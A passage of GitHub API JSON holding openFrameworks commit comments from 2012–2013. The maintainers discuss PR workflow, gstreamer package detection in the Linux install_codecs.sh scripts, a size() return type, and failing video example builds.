issue."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2161129","html_url":"https://github.com/openframeworks/openFrameworks/commit/81f3dd8493afe728f7736b81afbc223c4fc447dd#commitcomment-2161129","id":2161129,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"81f3dd8493afe728f7736b81afbc223c4fc447dd","created_at":"2012-11-15T20:40:03Z","updated_at":"2012-11-15T20:40:03Z","body":"@ofTheo this should have been pushed via a PR (even a dummy one), not directly, to make changelog generation easier, as we already decided at the devmeet before last."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2161183","html_url":"https://github.com/openframeworks/openFrameworks/commit/81f3dd8493afe728f7736b81afbc223c4fc447dd#commitcomment-2161183","id":2161183,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"81f3dd8493afe728f7736b81afbc223c4fc447dd","created_at":"2012-11-15T20:47:14Z","updated_at":"2012-11-15T20:47:14Z","body":"yup - sorry, forgot! =)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2491342","html_url":"https://github.com/openframeworks/openFrameworks/commit/1d1ed0f306dfb68d28575bad6de0741350034fd5#commitcomment-2491342","id":2491342,"user":{"login":"rbencina","id":3253274,"avatar_url":"https://secure.gravatar.com/avatar/666a95f5725d92e6bf6ccc0c2c60db59?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"666a95f5725d92e6bf6ccc0c2c60db59","url":"https://api.github.com/users/rbencina","html_url":"https://github.com/rbencina","followers_url":"https://api.github.com/users/rbencina/followers","following_url":"https://api.github.com/users/rbencina/following{/other_user}","gists_url":"https://api.github.com/users/rbencina/gists{/gist_id}","starred_url":"https://api.github.com/users/rbencina/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbencina/subscriptions","organizations_url":"https://api.github.com/users/rbencina/orgs","repos_url":"https://api.github.com/users/rbencina/repos","events_url":"https://api.github.com/users/rbencina/events{/privacy}","received_events_url":"https://api.github.com/users/rbencina/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1d1ed0f306dfb68d28575bad6de0741350034fd5","created_at":"2013-01-24T08:59:23Z","updated_at":"2013-01-24T08:59:23Z","body":"slightly different fix now in oscpack master: https://code.google.com/p/oscpack/source/detail?r=73#"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2491385","html_url":"https://github.com/openframeworks/openFrameworks/commit/1d1ed0f306dfb68d28575bad6de0741350034fd5#commitcomment-2491385","id":2491385,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1d1ed0f306dfb68d28575bad6de0741350034fd5","created_at":"2013-01-24T09:09:26Z","updated_at":"2013-01-24T09:09:26Z","body":"thanks Ross, since it seems like you are doing some more changes, we'll probably wait till you have a new version or at least add all the changes and then go back to the official version."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2493956","html_url":"https://github.com/openframeworks/openFrameworks/commit/f2d660e61ff065ca7c08d8f5e4160a212247784f#commitcomment-2493956","id":2493956,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":35,"line":35,"path":"libs/openFrameworks/utils/ofFileUtils.h","commit_id":"f2d660e61ff065ca7c08d8f5e4160a212247784f","created_at":"2013-01-24T16:16:52Z","updated_at":"2013-01-24T16:16:52Z","body":"@arturoc @roxlu this just tripped me up nicely during a hunt for warnings - why does this not return an `unsigned` type, as many (all?) other `.size()` methods?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2569672","html_url":"https://github.com/openframeworks/openFrameworks/commit/19b5a6015375669b8f26bbed1792affe13533f08#commitcomment-2569672","id":2569672,"user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"19b5a6015375669b8f26bbed1792affe13533f08","created_at":"2013-02-06T12:40:26Z","updated_at":"2013-02-06T12:40:26Z","body":"This is also in https://github.com/openframeworks/openFrameworks/pull/1594/"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599405","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2599405","id":2599405,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-11T16:20:19Z","updated_at":"2013-02-11T16:20:19Z","body":"@benben might be useful to have this in archlinux, not super urgent, we can do it for next release but i think archlinux already packages gstreamer-1.0 as default"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599436","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2599436","id":2599436,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":15,"line":14,"path":"scripts/linux/ubuntu/install_codecs.sh","commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-11T16:25:10Z","updated_at":"2013-02-11T16:25:10Z","body":"shouldn't that say `libgstreamer1.0-dev`, @arturoc ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599466","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2599466","id":2599466,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":15,"line":14,"path":"scripts/linux/ubuntu/install_codecs.sh","commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-11T16:29:19Z","updated_at":"2013-02-11T16:29:19Z","body":"yep, thanks!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599495","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2599495","id":2599495,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-11T16:33:09Z","updated_at":"2013-02-11T16:37:31Z","body":"@arturoc I don't get the logic here? are you just trying to select the gstreamer version which is already installed? or are you trying to see if a package is available in the package sources (as the commit message seems to say).\r\n\r\non my ubuntu32, with 0.10 installed, `dpkg-query -l libgstreamer0.10-dev` return status is 0 (it's installed), `dpkg-query -l libgstreamer1.0-dev` return status is 1, it's not installed, but available: \r\n```\r\napt-cache policy libgstreamer1.0-dev \r\nlibgstreamer1.0-dev:\r\n Installed: (none)\r\n Candidate: 1.0.1-1\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599658","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2599658","id":2599658,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-11T16:51:28Z","updated_at":"2013-02-11T16:51:28Z","body":"err, thanks :) i had those packages installed and thought it was detecting available packages. it should be fixed now but if you can double check"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599733","html_url":"https://github.com/openframeworks/openFrameworks/commit/191731ef6ca2de4495f6fd7ed7b28569a351d779#commitcomment-2599733","id":2599733,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"191731ef6ca2de4495f6fd7ed7b28569a351d779","created_at":"2013-02-11T17:01:44Z","updated_at":"2013-02-11T17:01:44Z","body":"@arturoc Apparently, a good way to check this is: `apt-cache show -n libgstreamer1.0-dev` (returns 0). `apt-cache show -n libgstreamer2.0-dev` (i.e. does not exist) returns 100. \r\nOr you could do `apt-cache search -n libgstreamer1.0-dev` which returns nothing if package isn't found. return value is always 0, though. \r\nbtw, those experiments so shortly before a release are probably better done via PRs? ;-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599806","html_url":"https://github.com/openframeworks/openFrameworks/commit/191731ef6ca2de4495f6fd7ed7b28569a351d779#commitcomment-2599806","id":2599806,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"191731ef6ca2de4495f6fd7ed7b28569a351d779","created_at":"2013-02-11T17:11:17Z","updated_at":"2013-02-11T17:11:17Z","body":"sure but thought it was an easy one :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599841","html_url":"https://github.com/openframeworks/openFrameworks/commit/191731ef6ca2de4495f6fd7ed7b28569a351d779#commitcomment-2599841","id":2599841,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"191731ef6ca2de4495f6fd7ed7b28569a351d779","created_at":"2013-02-11T17:15:50Z","updated_at":"2013-02-11T17:15:50Z","body":"have changed to your method the last one would have probably failed with non-english locales"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599926","html_url":"https://github.com/openframeworks/openFrameworks/commit/c54f74918b3532cecc943bc6270dd8a185d65b53#commitcomment-2599926","id":2599926,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":14,"path":"scripts/linux/debian/install_codecs.sh","commit_id":"c54f74918b3532cecc943bc6270dd8a185d65b53","created_at":"2013-02-11T17:26:49Z","updated_at":"2013-02-11T17:26:49Z","body":"i really hate to be nagging, but you're still Grepping here (and in the ubuntu codecs file)..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2599956","html_url":"https://github.com/openframeworks/openFrameworks/commit/c54f74918b3532cecc943bc6270dd8a185d65b53#commitcomment-2599956","id":2599956,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":14,"path":"scripts/linux/debian/install_codecs.sh","commit_id":"c54f74918b3532cecc943bc6270dd8a185d65b53","created_at":"2013-02-11T17:30:24Z","updated_at":"2013-02-11T17:30:24Z","body":"arghgg. thanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2600058","html_url":"https://github.com/openframeworks/openFrameworks/commit/0fd99ca732b827a80322449990f93b12a4a6304e#commitcomment-2600058","id":2600058,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":14,"path":"scripts/linux/debian/install_codecs.sh","commit_id":"0fd99ca732b827a80322449990f93b12a4a6304e","created_at":"2013-02-11T17:41:20Z","updated_at":"2013-02-11T17:41:20Z","body":"feels like there's no end to this today, but have you tried this with a non-existing package? the output goes to `stderr` so it's not suppressed by plain `>`. you have to modify the redirect. it could be `2>` or `2>&1` or somesuch, i can't test unfortunately, I gotta run now."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2627278","html_url":"https://github.com/openframeworks/openFrameworks/commit/56caffc011ac2d8ed8c7b30d628aaf0429d704c3#commitcomment-2627278","id":2627278,"user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following{/other_user}","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"56caffc011ac2d8ed8c7b30d628aaf0429d704c3","created_at":"2013-02-15T00:15:51Z","updated_at":"2013-02-15T00:15:51Z","body":"Archlinux comes with 1.0 by default, but still has the 0.10 ones in its official repositories. (https://www.archlinux.org/packages/?q=gstreamer)\r\n\r\nI've send a PR here: #1877 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2629149","html_url":"https://github.com/openframeworks/openFrameworks/commit/dbdbd9197b4497ae7d1e9c4a3951f4b8170b2e32#commitcomment-2629149","id":2629149,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"dbdbd9197b4497ae7d1e9c4a3951f4b8170b2e32","created_at":"2013-02-15T09:30:31Z","updated_at":"2013-02-15T09:30:50Z","body":"@arturoc, did you check if the video examples compile with the gstreamer stuff changed?\r\nThe latest build fails many of the video-related examples (I can reproduce this on my machine with a fres pull from develop). the error is typically the same as [here](http://videosynthesis.net/oftesting/testruns/20130214_164427-v0.7.4/vagrant-ubuntu-12.10-64bit/tests/videoPlayerExample/) - undefined references to gst-* functions.\r\ncc @benben "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2671353","html_url":"https://github.com/openframeworks/openFrameworks/commit/619d8a84525f62592a326d04e10a2750916d6ab3#commitcomment-2671353","id":2671353,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":5,"line":12,"path":"examples/android/androidImageExample/AndroidManifest.xml","commit_id":"619d8a84525f62592a326d04e10a2750916d6ab3","created_at":"2013-02-22T01:24:14Z","updated_at":"2013-02-22T01:24:14Z","body":"don't we need this in order to copy the stuff from bin/data into the right directory?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2674156","html_url":"https://github.com/openframeworks/openFrameworks/commit/619d8a84525f62592a326d04e10a2750916d6ab3#commitcomment-2674156","id":2674156,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":12,"path":"examples/android/androidImageExa